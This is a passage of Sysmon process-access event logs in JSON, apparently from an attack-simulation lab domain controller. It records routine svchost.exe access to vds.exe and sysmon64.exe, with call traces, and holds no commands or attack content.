11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010A9520200}","TargetProcessId":"3380","TargetImage":"C:\\Windows\\System32\\vds.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 